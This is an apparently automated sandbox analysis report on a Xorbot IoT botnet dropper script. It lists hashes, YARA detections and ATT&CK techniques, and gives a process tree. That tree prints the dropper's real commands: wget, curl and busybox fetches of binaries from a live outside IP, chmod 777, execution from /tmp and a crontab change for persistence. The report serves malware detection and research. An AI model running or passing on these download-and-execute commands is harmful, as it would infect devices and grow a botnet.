xorbot | e75e254332c4d92525192f7fa2a0734b068e2e3e6a6878feb41ada773de6ada5

Analysis

max time kernel
149s
max time network
152s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
01-12-2024 20:18

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General

Target

bins.sh
Size

10KB
MD5

bc7b6cc669c02f1b68444287a7bfa167
SHA1

63f8dc11fc9104552991cb85032f5a929b7321ba
SHA256

e75e254332c4d92525192f7fa2a0734b068e2e3e6a6878feb41ada773de6ada5
SHA512

46744e2e1d1cf25913777f3bbc3e85e4a303db758e4dfd7e9d9e679aee0d08ba2b205fcdb839d37b6933aaa5d7d7b81aa52e257aaeb1400b2b105218d1ad75b2
SSDEEP

192:e+b+H+f+O+++61RBogpdtREsk92oA4txZ1dVZBa6rvcoU6/n+1RBogjtRE/7+b+o:ecE+3T3dtREso11rvcoU6/n+tREDcE+N

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 7 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral3/files/fstream-1.dat	family_xorbot
behavioral3/files/fstream-3.dat	family_xorbot
behavioral3/files/fstream-5.dat	family_xorbot
behavioral3/files/fstream-7.dat	family_xorbot
behavioral3/files/fstream-9.dat	family_xorbot
behavioral3/files/fstream-11.dat	family_xorbot
behavioral3/files/fstream-18.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (1658) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 9 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmodchmodchmodchmodchmodchmodchmodchmod

pid	Process
791	chmod
943	chmod
718	chmod
761	chmod
828	chmod
838	chmod
936	chmod
725	chmod
784	chmod

Executes dropped EXE 9 IoCs

Processes:

UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0wBFJMF6ZGI1Yc76ZQHdl9ds8OWwUZvBa6Gwk4F5gNlEomwbD2CUfi90R2pQnlh4JGFt49GDfn8p8Iu161B4XrLITOxuB49ly0hufBrVxcJpLPn7ugmH9t08uLYyRbE0hlpkbwrXeHEAebvWCwR60g2B9eb3rAfAR7uJuGKqta4N2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7lZvM9Mh3sayVk4Xc5qWxzqyXMmS7ruBZhuixLTXZlYpEAOUfiZT9MgDYLISFGCjoBaE4g

ioc	pid	Process
/tmp/UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w	719	UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
/tmp/BFJMF6ZGI1Yc76ZQHdl9ds8OWwUZvBa6Gw	726	BFJMF6ZGI1Yc76ZQHdl9ds8OWwUZvBa6Gw
/tmp/k4F5gNlEomwbD2CUfi90R2pQnlh4JGFt49	762	k4F5gNlEomwbD2CUfi90R2pQnlh4JGFt49
/tmp/GDfn8p8Iu161B4XrLITOxuB49ly0hufBrV	785	GDfn8p8Iu161B4XrLITOxuB49ly0hufBrV
/tmp/xcJpLPn7ugmH9t08uLYyRbE0hlpkbwrXeH	792	xcJpLPn7ugmH9t08uLYyRbE0hlpkbwrXeH
/tmp/EAebvWCwR60g2B9eb3rAfAR7uJuGKqta4N	829	EAebvWCwR60g2B9eb3rAfAR7uJuGKqta4N
/tmp/2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l	839	2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
/tmp/ZvM9Mh3sayVk4Xc5qWxzqyXMmS7ruBZhui	937	ZvM9Mh3sayVk4Xc5qWxzqyXMmS7ruBZhui
/tmp/xLTXZlYpEAOUfiZT9MgDYLISFGCjoBaE4g	944	xLTXZlYpEAOUfiZT9MgDYLISFGCjoBaE4g

Renames itself 1 IoCs

Processes:

2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l

pid	Process
840	2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.CLMDcd	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7lcurlcurl

description	ioc	Process
File opened for reading	/proc/1018/cmdline	2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
File opened for reading	/proc/1042/cmdline	2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/14/cmdline	2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
File opened for reading	/proc/887/cmdline	2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
File opened for reading	/proc/981/cmdline	2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
File opened for reading	/proc/993/cmdline	2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
File opened for reading	/proc/76/cmdline	2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
File opened for reading	/proc/913/cmdline	2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
File opened for reading	/proc/930/cmdline	2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
File opened for reading	/proc/893/cmdline	2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
File opened for reading	/proc/997/cmdline	2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
File opened for reading	/proc/1011/cmdline	2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
File opened for reading	/proc/1021/cmdline	2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
File opened for reading	/proc/1040/cmdline	2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
File opened for reading	/proc/851/cmdline	2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
File opened for reading	/proc/862/cmdline	2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
File opened for reading	/proc/951/cmdline	2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
File opened for reading	/proc/1019/cmdline	2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
File opened for reading	/proc/7/cmdline	2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
File opened for reading	/proc/145/cmdline	2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
File opened for reading	/proc/935/cmdline	2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
File opened for reading	/proc/963/cmdline	2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
File opened for reading	/proc/1035/cmdline	2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
File opened for reading	/proc/883/cmdline	2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
File opened for reading	/proc/900/cmdline	2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
File opened for reading	/proc/961/cmdline	2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
File opened for reading	/proc/968/cmdline	2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
File opened for reading	/proc/996/cmdline	2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
File opened for reading	/proc/69/cmdline	2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
File opened for reading	/proc/943/cmdline	2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
File opened for reading	/proc/957/cmdline	2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
File opened for reading	/proc/1017/cmdline	2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
File opened for reading	/proc/684/cmdline	2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
File opened for reading	/proc/1016/cmdline	2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
File opened for reading	/proc/71/cmdline	2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
File opened for reading	/proc/846/cmdline	2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
File opened for reading	/proc/860/cmdline	2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
File opened for reading	/proc/925/cmdline	2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
File opened for reading	/proc/994/cmdline	2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
File opened for reading	/proc/340/cmdline	2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
File opened for reading	/proc/873/cmdline	2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
File opened for reading	/proc/924/cmdline	2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
File opened for reading	/proc/948/cmdline	2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
File opened for reading	/proc/966/cmdline	2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
File opened for reading	/proc/990/cmdline	2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
File opened for reading	/proc/991/cmdline	2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
File opened for reading	/proc/1034/cmdline	2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/13/cmdline	2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
File opened for reading	/proc/166/cmdline	2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
File opened for reading	/proc/855/cmdline	2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
File opened for reading	/proc/960/cmdline	2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
File opened for reading	/proc/970/cmdline	2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
File opened for reading	/proc/977/cmdline	2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
File opened for reading	/proc/20/cmdline	2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
File opened for reading	/proc/686/cmdline	2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
File opened for reading	/proc/848/cmdline	2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
File opened for reading	/proc/912/cmdline	2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
File opened for reading	/proc/947/cmdline	2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
File opened for reading	/proc/875/cmdline	2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
File opened for reading	/proc/877/cmdline	2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
File opened for reading	/proc/988/cmdline	2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
File opened for reading	/proc/891/cmdline	2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l

Writes file to tmp directory 23 IoCs

Malware often drops required files in the /tmp directory.

Processes:

busyboxbusyboxbusyboxbusyboxbusyboxwgetwgetwgetwgetcurlwgetcurlbusyboxcurlcurlbusyboxcurlwgetcurlcurlbusyboxwgetbusybox

description	ioc	Process
File opened for modification	/tmp/BFJMF6ZGI1Yc76ZQHdl9ds8OWwUZvBa6Gw	busybox
File opened for modification	/tmp/EAebvWCwR60g2B9eb3rAfAR7uJuGKqta4N	busybox
File opened for modification	/tmp/UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w	busybox
File opened for modification	/tmp/GDfn8p8Iu161B4XrLITOxuB49ly0hufBrV	busybox
File opened for modification	/tmp/xcJpLPn7ugmH9t08uLYyRbE0hlpkbwrXeH	busybox
File opened for modification	/tmp/EAebvWCwR60g2B9eb3rAfAR7uJuGKqta4N	wget
File opened for modification	/tmp/2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l	wget
File opened for modification	/tmp/BFJMF6ZGI1Yc76ZQHdl9ds8OWwUZvBa6Gw	wget
File opened for modification	/tmp/k4F5gNlEomwbD2CUfi90R2pQnlh4JGFt49	wget
File opened for modification	/tmp/k4F5gNlEomwbD2CUfi90R2pQnlh4JGFt49	curl
File opened for modification	/tmp/GDfn8p8Iu161B4XrLITOxuB49ly0hufBrV	wget
File opened for modification	/tmp/2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l	curl
File opened for modification	/tmp/2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l	busybox
File opened for modification	/tmp/UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w	curl
File opened for modification	/tmp/BFJMF6ZGI1Yc76ZQHdl9ds8OWwUZvBa6Gw	curl
File opened for modification	/tmp/k4F5gNlEomwbD2CUfi90R2pQnlh4JGFt49	busybox
File opened for modification	/tmp/GDfn8p8Iu161B4XrLITOxuB49ly0hufBrV	curl
File opened for modification	/tmp/xcJpLPn7ugmH9t08uLYyRbE0hlpkbwrXeH	wget
File opened for modification	/tmp/xcJpLPn7ugmH9t08uLYyRbE0hlpkbwrXeH	curl
File opened for modification	/tmp/EAebvWCwR60g2B9eb3rAfAR7uJuGKqta4N	curl
File opened for modification	/tmp/ZvM9Mh3sayVk4Xc5qWxzqyXMmS7ruBZhui	busybox
File opened for modification	/tmp/UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w	wget
File opened for modification	/tmp/xLTXZlYpEAOUfiZT9MgDYLISFGCjoBaE4g	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:687
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:691
- /usr/bin/wget
  wget http://216.126.231.240/bins/UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
  2⤵
  - Writes file to tmp directory
  PID:695
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
  2⤵
  - Writes file to tmp directory
  PID:715
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
  2⤵
  - Writes file to tmp directory
  PID:717
- /bin/chmod
  chmod 777 UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
  2⤵
  - File and Directory Permissions Modification
  PID:718
- /tmp/UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
  ./UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
  2⤵
  - Executes dropped EXE
  PID:719
- /bin/rm
  rm UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
  2⤵
  PID:721
- /usr/bin/wget
  wget http://216.126.231.240/bins/BFJMF6ZGI1Yc76ZQHdl9ds8OWwUZvBa6Gw
  2⤵
  - Writes file to tmp directory
  PID:722
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/BFJMF6ZGI1Yc76ZQHdl9ds8OWwUZvBa6Gw
  2⤵
  - Writes file to tmp directory
  PID:723
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/BFJMF6ZGI1Yc76ZQHdl9ds8OWwUZvBa6Gw
  2⤵
  - Writes file to tmp directory
  PID:724
- /bin/chmod
  chmod 777 BFJMF6ZGI1Yc76ZQHdl9ds8OWwUZvBa6Gw
  2⤵
  - File and Directory Permissions Modification
  PID:725
- /tmp/BFJMF6ZGI1Yc76ZQHdl9ds8OWwUZvBa6Gw
  ./BFJMF6ZGI1Yc76ZQHdl9ds8OWwUZvBa6Gw
  2⤵
  - Executes dropped EXE
  PID:726
- /bin/rm
  rm BFJMF6ZGI1Yc76ZQHdl9ds8OWwUZvBa6Gw
  2⤵
  PID:728
- /usr/bin/wget
  wget http://216.126.231.240/bins/k4F5gNlEomwbD2CUfi90R2pQnlh4JGFt49
  2⤵
  - Writes file to tmp directory
  PID:729
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/k4F5gNlEomwbD2CUfi90R2pQnlh4JGFt49
  2⤵
  - Writes file to tmp directory
  PID:735
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/k4F5gNlEomwbD2CUfi90R2pQnlh4JGFt49
  2⤵
  - Writes file to tmp directory
  PID:754
- /bin/chmod
  chmod 777 k4F5gNlEomwbD2CUfi90R2pQnlh4JGFt49
  2⤵
  - File and Directory Permissions Modification
  PID:761
- /tmp/k4F5gNlEomwbD2CUfi90R2pQnlh4JGFt49
  ./k4F5gNlEomwbD2CUfi90R2pQnlh4JGFt49
  2⤵
  - Executes dropped EXE
  PID:762
- /bin/rm
  rm k4F5gNlEomwbD2CUfi90R2pQnlh4JGFt49
  2⤵
  PID:767
- /usr/bin/wget
  wget http://216.126.231.240/bins/GDfn8p8Iu161B4XrLITOxuB49ly0hufBrV
  2⤵
  - Writes file to tmp directory
  PID:768
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/GDfn8p8Iu161B4XrLITOxuB49ly0hufBrV
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:782
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/GDfn8p8Iu161B4XrLITOxuB49ly0hufBrV
  2⤵
  - Writes file to tmp directory
  PID:783
- /bin/chmod
  chmod 777 GDfn8p8Iu161B4XrLITOxuB49ly0hufBrV
  2⤵
  - File and Directory Permissions Modification
  PID:784
- /tmp/GDfn8p8Iu161B4XrLITOxuB49ly0hufBrV
  ./GDfn8p8Iu161B4XrLITOxuB49ly0hufBrV
  2⤵
  - Executes dropped EXE
  PID:785
- /bin/rm
  rm GDfn8p8Iu161B4XrLITOxuB49ly0hufBrV
  2⤵
  PID:787
- /usr/bin/wget
  wget http://216.126.231.240/bins/xcJpLPn7ugmH9t08uLYyRbE0hlpkbwrXeH
  2⤵
  - Writes file to tmp directory
  PID:788
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/xcJpLPn7ugmH9t08uLYyRbE0hlpkbwrXeH
  2⤵
  - Writes file to tmp directory
  PID:789
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/xcJpLPn7ugmH9t08uLYyRbE0hlpkbwrXeH
  2⤵
  - Writes file to tmp directory
  PID:790
- /bin/chmod
  chmod 777 xcJpLPn7ugmH9t08uLYyRbE0hlpkbwrXeH
  2⤵
  - File and Directory Permissions Modification
  PID:791
- /tmp/xcJpLPn7ugmH9t08uLYyRbE0hlpkbwrXeH
  ./xcJpLPn7ugmH9t08uLYyRbE0hlpkbwrXeH
  2⤵
  - Executes dropped EXE
  PID:792
- /bin/rm
  rm xcJpLPn7ugmH9t08uLYyRbE0hlpkbwrXeH
  2⤵
  PID:794
- /usr/bin/wget
  wget http://216.126.231.240/bins/EAebvWCwR60g2B9eb3rAfAR7uJuGKqta4N
  2⤵
  - Writes file to tmp directory
  PID:795
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/EAebvWCwR60g2B9eb3rAfAR7uJuGKqta4N
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:808
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/EAebvWCwR60g2B9eb3rAfAR7uJuGKqta4N
  2⤵
  - Writes file to tmp directory
  PID:823
- /bin/chmod
  chmod 777 EAebvWCwR60g2B9eb3rAfAR7uJuGKqta4N
  2⤵
  - File and Directory Permissions Modification
  PID:828
- /tmp/EAebvWCwR60g2B9eb3rAfAR7uJuGKqta4N
  ./EAebvWCwR60g2B9eb3rAfAR7uJuGKqta4N
  2⤵
  - Executes dropped EXE
  PID:829
- /bin/rm
  rm EAebvWCwR60g2B9eb3rAfAR7uJuGKqta4N
  2⤵
  PID:831
- /usr/bin/wget
  wget http://216.126.231.240/bins/2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
  2⤵
  - Writes file to tmp directory
  PID:832
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
  2⤵
  - Writes file to tmp directory
  PID:836
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
  2⤵
  - Writes file to tmp directory
  PID:837
- /bin/chmod
  chmod 777 2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
  2⤵
  - File and Directory Permissions Modification
  PID:838
- /tmp/2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
  ./2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:839
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:841
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:842
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:843
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:844
- /bin/rm
  rm 2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l
  2⤵
  PID:846
- /usr/bin/wget
  wget http://216.126.231.240/bins/ZvM9Mh3sayVk4Xc5qWxzqyXMmS7ruBZhui
  2⤵
  PID:849
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/ZvM9Mh3sayVk4Xc5qWxzqyXMmS7ruBZhui
  2⤵
  PID:850
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/ZvM9Mh3sayVk4Xc5qWxzqyXMmS7ruBZhui
  2⤵
  - Writes file to tmp directory
  PID:851
- /bin/chmod
  chmod 777 ZvM9Mh3sayVk4Xc5qWxzqyXMmS7ruBZhui
  2⤵
  - File and Directory Permissions Modification
  PID:936
- /tmp/ZvM9Mh3sayVk4Xc5qWxzqyXMmS7ruBZhui
  ./ZvM9Mh3sayVk4Xc5qWxzqyXMmS7ruBZhui
  2⤵
  - Executes dropped EXE
  PID:937
- /bin/rm
  rm ZvM9Mh3sayVk4Xc5qWxzqyXMmS7ruBZhui
  2⤵
  PID:939
- /usr/bin/wget
  wget http://216.126.231.240/bins/xLTXZlYpEAOUfiZT9MgDYLISFGCjoBaE4g
  2⤵
  PID:940
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/xLTXZlYpEAOUfiZT9MgDYLISFGCjoBaE4g
  2⤵
  PID:941
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/xLTXZlYpEAOUfiZT9MgDYLISFGCjoBaE4g
  2⤵
  - Writes file to tmp directory
  PID:942
- /bin/chmod
  chmod 777 xLTXZlYpEAOUfiZT9MgDYLISFGCjoBaE4g
  2⤵
  - File and Directory Permissions Modification
  PID:943
- /tmp/xLTXZlYpEAOUfiZT9MgDYLISFGCjoBaE4g
  ./xLTXZlYpEAOUfiZT9MgDYLISFGCjoBaE4g
  2⤵
  - Executes dropped EXE
  PID:944
- /bin/rm
  rm xLTXZlYpEAOUfiZT9MgDYLISFGCjoBaE4g
  2⤵
  PID:946
- /usr/bin/wget
  wget http://216.126.231.240/bins/ycBq2T6CMRwrmEF70eZAAZya5n1cnlTWnG
  2⤵
  PID:947

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/2xbZFR4t6mubi9o4s7nU5m2ePVoZ7muU7l

Filesize
151KB

MD5
3c90d5820bddcf7c5d1bd21dfa49d958

SHA1
5ba05bd489e50af97d6dc45e3a0be60e494d5083

SHA256
bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

SHA512
54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

Download Submit
/tmp/BFJMF6ZGI1Yc76ZQHdl9ds8OWwUZvBa6Gw

Filesize
117KB

MD5
849fa04ef88a8e8de32cb2e8538de5fe

SHA1
c768af29fe4b6695fff1541623e8bbd1c6f242f7

SHA256
8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

SHA512
2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

Download Submit
/tmp/EAebvWCwR60g2B9eb3rAfAR7uJuGKqta4N

Filesize
127KB

MD5
89077b7bd4bcafca7713be43635c4862

SHA1
fc02edb8fba29ea8ee99e6157ef8560334530052

SHA256
78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

SHA512
1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

Download Submit
/tmp/GDfn8p8Iu161B4XrLITOxuB49ly0hufBrV

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/tmp/UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/tmp/ZvM9Mh3sayVk4Xc5qWxzqyXMmS7ruBZhui

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

Download Submit
/tmp/k4F5gNlEomwbD2CUfi90R2pQnlh4JGFt49

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/tmp/xLTXZlYpEAOUfiZT9MgDYLISFGCjoBaE4g

Filesize
177KB

MD5
786d75a158fe731feca3880f436082c0

SHA1
79ea2734e43d00cdeabed5586b2c1994d02aef3e

SHA256
5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

SHA512
7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

Download Submit
/tmp/xcJpLPn7ugmH9t08uLYyRbE0hlpkbwrXeH

Filesize
119KB

MD5
1b166b95f9cb4b079ef1b9ec8363ddf3

SHA1
0d8eb08add467b3b5474f9b25909297fe7c2839c

SHA256
94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

SHA512
983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

Download Submit
/var/spool/cron/crontabs/tmp.CLMDcd

Filesize
210B

MD5
6e2f16c55710704ef3cfc533f6880d25

SHA1
2ca9606f4b3f77811052c1adfead96663c094470

SHA256
3c4209936f1ba3d01fd64dc86efaed7dbb03be990d7805f8a5675623ab083991

SHA512
166271c037099275524b9b911a2de114b6eb572a6f135e922c26382885ed4bff74ccfccb219846626f6207fb4f2a9bd3f9919a1abdb3cd169ee1451085cdca6c

Download Submit